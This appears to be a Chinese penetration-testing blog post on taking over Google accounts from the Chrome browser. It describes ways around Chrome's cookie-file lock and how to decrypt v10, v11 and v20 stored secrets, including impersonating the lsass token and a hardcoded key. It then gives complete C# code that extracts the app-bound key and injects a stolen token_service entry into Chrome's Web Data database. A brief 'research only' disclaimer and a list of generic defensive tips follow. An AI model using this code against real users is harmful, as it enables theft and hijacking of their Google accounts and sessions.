Chrome浏览器的Google账户接管研究
Chrome浏览器的Google账户接管研究
原创 簞純 君立渗透测试研究中心 2025-01-20 06:54
Google Chrome是一款由Google公司开发的网页浏览器,基于Google自家开放源代码的Chromium制造,但是包含非开放源代码套件。Chrome及其他基于Chromium制作的浏览器,目前占据的整个浏览器市场的大半壁江山。
在攻击活动中,经常会有需要接管目标账户,进行进一步信息收集或取证的需求。目前已有大量工具可以用于从浏览器中提取密码、Cookies等敏感信息,但一方面绝大多数公开工具存在缺陷,无法适应可能遇到i的各种环境,另一方面Chrome浏览器对于Google账户的凭据储存存在特殊机制,无法通过Cookies直接实现接管。
Google账户登录验证
在Edge等浏览器中,如果用户登录了Google账户,可以通过提取相关Cookies的方法,直接接管相应账号,但是在Chrome浏览器中,这样是行不通的。Chrome中对Google的登录有自己的一些机制。
简单来说,可以通过在Chrome浏览器中访问chrome://signin-internals/来查看Google账号登陆情况。这里有一个重要参数token_service需要我们修改,具体怎么提取和修改呢?
一些准备工作
在历代的Chromium系列浏览器中,加解密都是基于DPAPI及AES-256-GSM。Chromium系列浏览器的配置文件保存在形如”%localappdata%\Google\Chrome\User Data”的目录中。其中在Local State文件中保存了一些通用且关键的Key信息。而默认用户配置文件目录是Default,如果有其他用户,则会有Profile加空格加数字的文件夹存在。其中的Cookies(高版本为Network\Cookies)文件储存了Cookies信息,Web Data文件储存了一个关键的token_service值。
在Chrome中,正是这个token_service,保存了重要信息,来保证Google账号登陆。我们可以通过替换本地浏览器的Web Data文件中此条,并导入Google相关Cookies的方式,完成接管。
Chromium系列浏览器对Cookies文件的锁定读取
在Chrome的114版本中,增加了一个功能LockProfileCookieDatabase(在更晚的更新中,此功能作为永久功能保留并删除了此选项),这个功能是为了防止其他软件随意读取敏感的Cookies文件,其实现方法是在使用CreateFile的API时,其SHARE_MODE参数中不添加SHARE_READ参数。这样就实现了对该文件的独占访问。当Chrome进程运行时,其他进程无法读取该文件。
直接通过api读取文件是不太现实的了,这就需要我们通过一些特殊的方法去获取该文件内容了。一些的可用的方法如下:
VSS
VSS 依托于 Windows 系统的存储架构,通过协调多个组件,如请求者(Requestor)、写入器(Writer)和提供者(Provider)来创建卷影副本。当触发卷影复制操作时,写入器负责暂停相关应用程序对文件的写入操作,确保数据一致性,提供者则负责实际的数据复制工作,最终生成一个可供访问的卷影副本,该副本反映了特定时间点的文件系统状态。VSS 协调为要备份的数据创建一致的卷影副本(也称为快照或时间点副本)所需的操作。
这个操作需要管理员权限,且在实际操作中成功率存疑,并且VSS可能对系统性能造成影响。
Low Level Disk Reading
常规文件系统访问通过目录、文件分配表(FAT)或 NTFS 元数据等抽象层,将用户对文件的逻辑操作(如打开、读取、写入)转换为磁盘物理地址的读写指令。低级磁盘读取则绕过部分或全部此类抽象,直接向磁盘控制器发送指令,获取磁盘原始数据块。
这个操作同样需要管理员权限,但是对不同文件系统的解析均没有非常稳定的开源实现。
Inject
可以通过将提取文件或解密工具注入进浏览器对应进程,即可直接正常打开独占句柄的文件。
但众所周知,注入方案众多,权限要求不一,但稳定性及免杀方面很难保证。
DuplicateHandle
当一个进程锁定文件后,其他进程无法直接通过常规文件打开函数访问。但借助 DuplicateHandle 函数,可以从锁定文件的源进程中复制文件句柄到目标进程。在复制过程中,合理设置访问权限参数,使得目标进程获得对该文件的读取权限,即使文件在源进程中处于锁定状态,目标进程也能通过复制得到的句柄读取文件内容。
这个操作只需要和目标进程同级别权限,并且行为较为隐秘。
具体实现
-
• 使用NtQueryInformationFile的FileProcessIdsUsingFileInformation参数,直接获取具有锁定文件句柄的进程。
-
• 通过NtQuerySystemInformation的SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX参数获取全局所有句柄,并根据上一步获得的进程名筛选该进程句柄。
-
• 依次复制句柄至自己进程并通过NtQueryObject查询句柄信息,直至找到目标句柄。
* 使用该句柄读取文件内容即可。
Chromium系列浏览器的解密-V10/V11/<80
对于Chrome 80之前的版本,可以直接使用DPAPI解密,对于80之后的版本,则修改为AES-256-GCM加密,加密过程可以参考
os_crypt_win.cc
,解密时可以根据开头为v10或v11判断为新版本加密,对于新版本,password_value的开头版本号为3位,其后12位为IV。AES加密使用的key来自浏览器数据目录的Local State文件,此文件内容为json,其中encrypted_key是base64编码的key。
Chromium系列浏览器的解密-V20
类似V10版本,但是需要从Local State文件中先获取app_bound_encrypted_key,对其base64解码后可获得一个APPB开头的key,先通过SYSTEM权限的DPAPI进行解密后再通过当前用户进行DPAPI解密,并取其后60位,以
sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=
经过base64后的值为key,后60位中前12位为IV,60位中后16位tag,对中间32位进行Aes-Gcm解密即可获得最终的key,这个key可以用类似之前版本的方案去正常解密数据库内容。
这套流程需要最低管理员权限,所以目前在低权限放弃V20解密,管理员权限的话,可以从lsass(高版本系统lsass存在PPL保护,可以考虑换成本session的WinLogon进程)进程获取SYSTEM句柄去模拟。
如果考虑程序可以直接system执行的话,就可以配合获取explorer或其他用户权限进程模拟即可。
最后要注意,解密的如果是Cookies,解密结果要去除前32位乱码,Web Data的内容无需此步处理。
解密结果的使用
最后我们会获取到解密的token_service和Google相关的cookies。Cookies可以通过
Global Cookie Manager
等工具导入,但Web Data没有现成工具使用,我们可以自己写一个加密脚本进行导入。
using Community.CsharpSqlite.SQLiteClient;using System;using System.Diagnostics;using System.IO;using System.Linq;using System.Runtime.InteropServices;using System.Security.Cryptography;using System.Text;using System.Text.RegularExpressions;namespaceWebDataReplace{ internalclassProgram { static void Main(string[] args) { Console.Write("ID:"); string id = Console.ReadLine(); Console.Write("Token:"); string token = Console.ReadLine(); string webdatapath = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data\\Default"), "Web Data"); using (SqliteConnection conn = new SqliteConnection(@"Data Source=" + webdatapath + ";Version=3;")) { conn.Open(); SqliteCommand cmd = new SqliteCommand(webdata(id, token), conn); cmd.ExecuteNonQuery(); } Console.WriteLine("OK"); Console.ReadLine(); } private static string webdata(string id, string token) { byte[] key = GetAppBoundKey(); byte[] iv = newbyte[12]; byte[] result = AesGcm.Encrypt(key, iv, null, Encoding.UTF8.GetBytes(token))[0]; byte[] tag = AesGcm.Encrypt(key, iv, null, Encoding.UTF8.GetBytes(token))[1]; byte[] final = newbyte[31 + result.Length]; final[0] = (byte)'v'; final[1] = (byte)'2'; final[2] = (byte)'0'; Array.Copy(iv, 0, final, 3, 12); Array.Copy(result, 0, final, 15, result.Length); Array.Copy(tag, 0, final, 15 + result.Length, 16); string t = BitConverter.ToString(final, 0).Replace("-", ""); string output = "INSERT INTO token_service (service,encrypted_token) VALUES ('" + id + "',x'" + t + "');"; return output; } publicenum PROCESS_ACCESS_FLAGS : uint { PROCESS_ALL_ACCESS = 0x001F0FFF, PROCESS_CREATE_PROCESS = 0x0080, PROCESS_CREATE_THREAD = 0x0002, PROCESS_DUP_HANDLE = 0x0040, PROCESS_QUERY_INFORMATION = 0x0400, PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, PROCESS_SET_INFORMATION = 0x0200, PROCESS_SET_QUOTA = 0x0100, PROCESS_SUSPEND_RESUME = 0x0800, PROCESS_TERMINATE = 0x0001, PROCESS_VM_OPERATION = 0x0008, PROCESS_VM_READ = 0x0010, PROCESS_VM_WRITE = 0x0020, SYNCHRONIZE = 0x00100000 } [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern bool RevertToSelf(); [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle); [DllImport("advapi32.dll")] public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); [DllImport("advapi32.dll", SetLastError = true)] public static extern bool SetThreadToken(IntPtr pHandle, IntPtr hToken); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess(PROCESS_ACCESS_FLAGS dwDesiredAccess, bool bInheritHandle, int dwProcessId); public static bool ImpersonateProcessToken(int pid) { IntPtr hProcess = OpenProcess(PROCESS_ACCESS_FLAGS.PROCESS_QUERY_INFORMATION, true, pid); if (hProcess == IntPtr.Zero) returnfalse; IntPtr hToken; if (!OpenProcessToken(hProcess, 0x00000002 | 0x00000004, out hToken)) returnfalse; IntPtr DuplicatedToken = new IntPtr(); if (!DuplicateToken(hToken, 2, ref DuplicatedToken)) returnfalse; if (!SetThreadToken(IntPtr.Zero, DuplicatedToken)) returnfalse; returntrue; } public static byte[] GetAppBoundKey() { try { string filePath = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data"), "Local State"); if (!File.Exists(filePath)) returnnull; var pattern = new Regex("\"app_bound_encrypted_key\":\"(.*?)\"", RegexOptions.Compiled).Matches(File.ReadAllText(filePath).Replace(" ", "")); byte[] masterKey = null; foreach (Match prof in pattern) { if (prof.Success) masterKey = Convert.FromBase64String((prof.Groups[1].Value)); } if (masterKey.Length >= 4 && Encoding.UTF8.GetString(masterKey).StartsWith("APPB")) { byte[] tempresult = newbyte[masterKey.Length - 4]; Array.Copy(masterKey, 4, tempresult, 0, masterKey.Length - 4); masterKey = tempresult; } ImpersonateProcessToken(Process.GetProcessesByName("lsass")[0].Id); byte[] result = ProtectedData.Unprotect(masterKey, null, DataProtectionScope.LocalMachine); RevertToSelf(); byte[] Key1 = ProtectedData.Unprotect(result, null, DataProtectionScope.CurrentUser); byte[] Key2 = Key1.Skip(Math.Max(0, Key1.Length - 60)).ToArray(); byte[] decryptedData = null; string aesKeyBase64 = "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c="; byte[] aesKey = Convert.FromBase64String(aesKeyBase64); byte[] iv = Key2.Take(12).ToArray(); byte[] ciphertext = Key2.Skip(12).Take(32).ToArray(); byte[] tag = Key2.Skip(44).Take(16).ToArray(); decryptedData = new AesGcm().Decrypt(aesKey, iv, null, ciphertext, tag); return decryptedData; } catch { returnnull; } } } classAesGcm { public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag) { IntPtr hAlg = OpenAlgorithmProvider(Native.BCRYPT_AES_ALGORITHM, Native.MS_PRIMITIVE_PROVIDER, Native.BCRYPT_CHAIN_MODE_GCM); var keyDataBuffer = ImportKey(hAlg, key, outvar hKey); byte[] plainText; Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo = new Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag); byte[] ivData = newbyte[MaxAuthTagSize(hAlg)]; int plainTextSize = 0; uint status = Native.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0); if (status != Native.ERROR_SUCCESS) thrownew CryptographicException( $"Native.BCryptDecrypt() (get size) failed with status code: {status}"); plainText = newbyte[plainTextSize]; status = Native.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0); if (status == Native.STATUS_AUTH_TAG_MISMATCH) thrownew CryptographicException("Native.BCryptDecrypt(): authentication tag mismatch"); if (status != Native.ERROR_SUCCESS) thrownew CryptographicException($"Native.BCryptDecrypt() failed with status code:{status}"); authInfo.Dispose(); Native.BCryptDestroyKey(hKey); Marshal.FreeHGlobal(keyDataBuffer); Native.BCryptCloseAlgorithmProvider(hAlg, 0x0); return plainText; } publicstaticbyte[][] Encrypt(byte[] key, byte[] iv, byte[] aad, byte[] plainText) { IntPtr hAlg = OpenAlgorithmProvider(Native.BCRYPT_AES_ALGORITHM, Native.MS_PRIMITIVE_PROVIDER, Native.BCRYPT_CHAIN_MODE_GCM); IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey); byte[] cipher; byte[] tag = newbyte[MaxAuthTagSize(hAlg)]; var authInfo = new Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, tag); using (authInfo) { byte[] ivData = newbyte[tag.Length]; int cipherSize = 0; uint status = Native.BCryptEncrypt(hKey, plainText, plainText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref cipherSize, 0x0); if (status != Native.ERROR_SUCCESS) thrownew CryptographicException(string.Format("Native.BCryptEncrypt() (get size) failed with status code:{0}", status)); cipher = newbyte[cipherSize]; status = Native.BCryptEncrypt(hKey, plainText, plainText.Length, ref authInfo, ivData, ivData.Length, cipher, cipher.Length, ref cipherSize, 0x0); if (status != Native.ERROR_SUCCESS) thrownew CryptographicException(string.Format("Native.BCryptEncrypt() failed with status code:{0}", status)); Marshal.Copy(authInfo.pbTag, tag, 0, authInfo.cbTag); } Native.BCryptDestroyKey(hKey); Marshal.FreeHGlobal(keyDataBuffer); Native.BCryptCloseAlgorithmProvider(hAlg, 0x0); returnnew[] { cipher, tag }; } private static int MaxAuthTagSize(IntPtr hAlg) { byte[] tagLengthsValue = GetProperty(hAlg, Native.BCRYPT_AUTH_TAG_LENGTH); return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0); } private static IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode) { uint status = Native.BCryptOpenAlgorithmProvider(outvar hAlg, alg, provider, 0x0); if (status != Native.ERROR_SUCCESS) thrownew CryptographicException( $"Native.BCryptOpenAlgorithmProvider() failed with status code:{status}"); byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode); status = Native.BCryptSetAlgorithmProperty(hAlg, Native.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0); if (status != Native.ERROR_SUCCESS) thrownew CryptographicException( $"Native.BCryptSetAlgorithmProperty(Native.BCRYPT_CHAINING_MODE, Native.BCRYPT_CHAIN_MODE_GCM) failed with status code:{status}"); return hAlg; } private static IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey) { byte[] objLength = GetProperty(hAlg, Native.BCRYPT_OBJECT_LENGTH); int keyDataSize = BitConverter.ToInt32(objLength, 0); IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize); byte[] keyBlob = Concat(Native.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key); uint status = Native.BCryptImportKey(hAlg, IntPtr.Zero, Native.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0); if (status != Native.ERROR_SUCCESS) thrownew CryptographicException($"Native.BCryptImportKey() failed with status code:{status}"); return keyDataBuffer; } private static byte[] GetProperty(IntPtr hAlg, string name) { int size = 0; uint status = Native.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0); if (status != Native.ERROR_SUCCESS) thrownew CryptographicException( $"Native.BCryptGetProperty() (get size) failed with status code:{status}"); byte[] value = newbyte[size]; status = Native.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0); if (status != Native.ERROR_SUCCESS) thrownew CryptographicException($"Native.BCryptGetProperty() failed with status code:{status}"); returnvalue; } public static byte[] Concat(params byte[][] arrays) { int len = 0; foreach (byte[] array in arrays) { if (array == null) continue; len += array.Length; } byte[] result = newbyte[len - 1 + 1]; int offset = 0; foreach (byte[] array in arrays) { if (array == null) continue; Buffer.BlockCopy(array, 0, result, offset, array.Length); offset += array.Length; } return result; } } classNative { #region BCrypt publicconstuint ERROR_SUCCESS = 0x00000000; publicconstuint BCRYPT_PAD_PSS = 8; publicconstuint BCRYPT_PAD_OAEP = 4; publicstaticreadonlybyte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b); publicstaticreadonlystring BCRYPT_OBJECT_LENGTH = "ObjectLength"; publicstaticreadonlystring BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM"; publicstaticreadonlystring BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength"; publicstaticreadonlystring BCRYPT_CHAINING_MODE = "ChainingMode"; publicstaticreadonlystring BCRYPT_KEY_DATA_BLOB = "KeyDataBlob"; publicstaticreadonlystring BCRYPT_AES_ALGORITHM = "AES"; publicstaticreadonlystring MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider"; publicstaticreadonlyint BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001; publicstaticreadonlyint BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001; publicstaticreadonlyuint STATUS_AUTH_TAG_MISMATCH = 0xC000A002; [DllImport("BCrypt.dll")] public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags); [DllImport("BCrypt.dll")] public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags); [DllImport("BCrypt.dll", EntryPoint = "BCryptGetProperty")] public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags); [DllImport("BCrypt.dll", EntryPoint = "BCryptSetProperty")] internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); [DllImport("BCrypt.dll")] public static extern uint BCryptImportKey(IntPtr hAlgorithm, IntPtr hImportKey, [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data) int cbInput, uint dwFlags); [DllImport("BCrypt.dll")] public static extern uint BCryptDestroyKey(IntPtr hKey); [DllImport("BCrypt.dll")] internal static extern uint BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, int dwFlags); [DllImport("bcrypt.dll")] public static extern uint BCryptEncrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, uint dwFlags); [StructLayout(LayoutKind.Sequential)] publicstruct BCRYPT_PSS_PADDING_INFO { public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt) { this.pszAlgId = pszAlgId; this.cbSalt = cbSalt; } [MarshalAs(UnmanagedType.LPWStr)] publicstring pszAlgId; publicint cbSalt; } [StructLayout(LayoutKind.Sequential)] publicstruct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable { publicint cbSize; publicint dwInfoVersion; public IntPtr pbNonce; publicint cbNonce; public IntPtr pbAuthData; publicint cbAuthData; public IntPtr pbTag; publicint cbTag; public IntPtr pbMacContext; publicint cbMacContext; publicint cbAAD; publiclong cbData; publicint dwFlags; public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this() { dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION; cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); if (iv != null) { cbNonce = iv.Length; pbNonce = Marshal.AllocHGlobal(cbNonce); Marshal.Copy(iv, 0, pbNonce, cbNonce); } if (aad != null) { cbAuthData = aad.Length; pbAuthData = Marshal.AllocHGlobal(cbAuthData); Marshal.Copy(aad, 0, pbAuthData, cbAuthData); } if (tag != null) { cbTag = tag.Length; pbTag = Marshal.AllocHGlobal(cbTag); Marshal.Copy(tag, 0, pbTag, cbTag); cbMacContext = tag.Length; pbMacContext = Marshal.AllocHGlobal(cbMacContext); } } public void Dispose() { if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce); if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag); if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData); if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext); } } [StructLayout(LayoutKind.Sequential)] publicstruct BCRYPT_OAEP_PADDING_INFO { public BCRYPT_OAEP_PADDING_INFO(string alg) { pszAlgId = alg; pbLabel = IntPtr.Zero; cbLabel = 0; } [MarshalAs(UnmanagedType.LPWStr)] publicstring pszAlgId; public IntPtr pbLabel; publicint cbLabel; } #endregion }}
截至这里,也就完成了在Chrome浏览器上接管Google的原理介绍和方案实现。
仅供研究,勿作他用
防范方式
-
• 启用双重验证:为Google账户启用双重验证,例如通过手机验证码或身份验证器应用,可有效防止未经授权的登录。
-
• 设置强密码:使用复杂且独特的密码,并定期更换,避免在不同平台使用相同密码。
-
• 更新浏览器和扩展程序:确保Chrome浏览器及扩展程序始终保持最新版本,以修复已知漏洞。
-
• 谨慎下载扩展程序:仅从官方商店下载扩展程序,避免安装权限过高的插件。
-
• 启用安全浏览功能:确保Chrome的安全浏览功能已开启,以检测并警告恶意网站。
-
• 定期清理数据:定期清除浏览历史、Cookies和缓存,减少隐私泄露风险。
-
• 提高安全意识:警惕钓鱼邮件和可疑链接,避免在不安全的网站上输入账户信息。
-
• 使用安全工具:安装可靠的杀毒软件和防火墙,防止恶意软件入侵。
-
• 绑定手机号:将Google账户与手机号绑定,可显著提升账户安全性。
通过以上措施,可以有效降低Chrome浏览器中Google账户被接管的风险。